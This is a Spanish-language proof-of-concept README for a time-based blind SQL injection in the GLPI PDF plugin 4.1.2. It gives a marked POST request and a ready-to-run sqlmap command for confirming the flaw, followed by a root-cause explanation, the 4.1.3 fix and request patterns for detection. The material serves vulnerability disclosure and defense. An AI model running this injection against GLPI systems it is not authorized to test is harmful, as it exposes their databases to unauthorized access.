
Prueba de concepto para CVE-2026-61797, una inyección SQL ciega basada en tiempo en el plugin PDF de GLPI, con validación mediante sqlmap y guía de detección.
Prueba de concepto para CVE-2026-61797, una vulnerabilidad de inyección SQL ciega basada en tiempo que afecta al plugin PDF de GLPI.
La vulnerabilidad puede alcanzarse a través de:
/marketplace/pdf/front/preference.form.php
En la implementación vulnerable, los valores controlados por el usuario del array POST item se insertan en consultas SQL sin la parametrización adecuada.
Un usuario autenticado de GLPI con bajos privilegios puede abusar de este comportamiento para inyectar expresiones SQL e inferir información de la base de datos mediante los tiempos de respuesta.
| Campo | Valor |
|---|
| CVE | CVE-2026-61797 |
| Producto | GLPI PDF Plugin |
| Versión probada | 4.1.2 |
| Versión corregida | 4.1.3 |
| Vulnerabilidad | Inyección SQL ciega basada en tiempo |
| Autenticación | Requerida en la rama 4.1.2 probada |
| Vector de ataque | Red |
| Interacción del usuario | Ninguna |
| Base de datos | MySQL |
| CVSS | 6.1 / 10 |
| Aviso | GHSA-wwr3-v347-c64m |
El código vulnerable finalmente coloca la clave item controlada por el atacante en el campo tabref de una sentencia SQL INSERT.
Conceptualmente, la operación vulnerable era similar a:
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id`, `users_id`, `itemtype`, `tabref`)
VALUES (
NULL,
'" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "',
'$key'
)");
}
Debido a que $key pasa a formar parte de la sentencia SQL, una clave de array manipulada puede modificar la consulta resultante.
La PoC requiere:
sqlmap.La PoC fue validada contra PDF Plugin 4.1.2.
Capture una petición legítima a:
POST /marketplace/pdf/front/preference.form.php
y guárdela como:
glpi.sqli
Un cuerpo de petición mínimo adecuado para marcar el punto de inyección es:
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
El * indica a sqlmap qué parte de la petición debe probarse.
Ejemplo de estructura de petición:
POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
Ejecute:
sqlmap \
-r glpi.sqli \
--csrf-url "https://glpi.example.test/front/preference.php" \
--csrf-token "_glpi_csrf_token" \
--cookie "<VALID_GLPI_SESSION>" \
--technique=T \
--level=5 \
--risk=1 \
--batch
Una instalación vulnerable debería identificarse como aceptando una inyección SQL ciega basada en tiempo en el punto de inyección POST personalizado.
La detección típica se asemeja a:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
La técnica se basa en retrasos condicionales de MySQL como SLEEP() para determinar si una condición inyectada se evalúa como verdadera.
Este repositorio limita intencionadamente la PoC documentada a la verificación de la vulnerabilidad y no proporciona comandos de volcado de base de datos ni de extracción de credenciales.
La petición vulnerable llega a:
plugins/pdf/front/preference.form.php
La aplicación procesa valores similares a:
item[<USER_CONTROLLED_VALUE>]=1
PHP convierte esto en un array asociativo, donde el atacante controla la clave del array.
Esa clave es utilizada posteriormente como $key por el plugin y, en la versión vulnerable, se concatena directamente en una sentencia SQL.
El flujo de datos resultante es efectivamente:
HTTP POST
|
v
$_POST['item']
|
v
array key ($key)
|
v
SQL string concatenation
|
v
MySQL
Por lo tanto, un payload basado en tiempo puede influir en la expresión SQL y hacer que la base de datos retrase deliberadamente la respuesta cuando una condición proporcionada es verdadera.
Debido a que la aplicación no devuelve directamente los resultados de la consulta SQL, la explotación se realiza como una inyección SQL ciega.
El problema se corrigió en PDF Plugin 4.1.3.
Las operaciones SQL sin procesar vulnerables se reemplazaron por mecanismos de base de datos/ORM más seguros y lógica de autorización adicional.
Los usuarios deben actualizar a:
PDF Plugin >= 4.1.3
o a una versión compatible más reciente.
Los defensores pueden querer revisar las peticiones HTTP dirigidas a:
/marketplace/pdf/front/preference.form.php
con nombres de parámetros item[...] inusuales.
Los patrones particularmente sospechosos incluyen sintaxis SQL o funciones de retardo temporal dentro de una clave de array, por ejemplo referencias a:
SLEEP(
SELECT
AND
OR
||
'
"
Las peticiones POST repetidas al endpoint seguidas de retrasos de respuesta consistentes de varios segundos también pueden indicar intentos de explotar una inyección SQL ciega basada en tiempo.
Esta prueba de concepto se proporciona exclusivamente para:
No la utilice contra sistemas que no posea o para los que no tenga permiso explícito de probar.
Los autores no asumen ninguna responsabilidad por el uso no autorizado o ilegal de este material.
Investigación de vulnerabilidades y análisis técnico original:
ITRESIT Labs — Javier Medina
Investigación original:
CVE:
CVE-2026-61797
Aviso de seguridad de GitHub:
GHSA-wwr3-v347-c64m
Este repositorio está destinado únicamente a fines educativos y de pruebas de seguridad autorizadas.
Obtenga siempre permiso explícito antes de probar sistemas que no posea.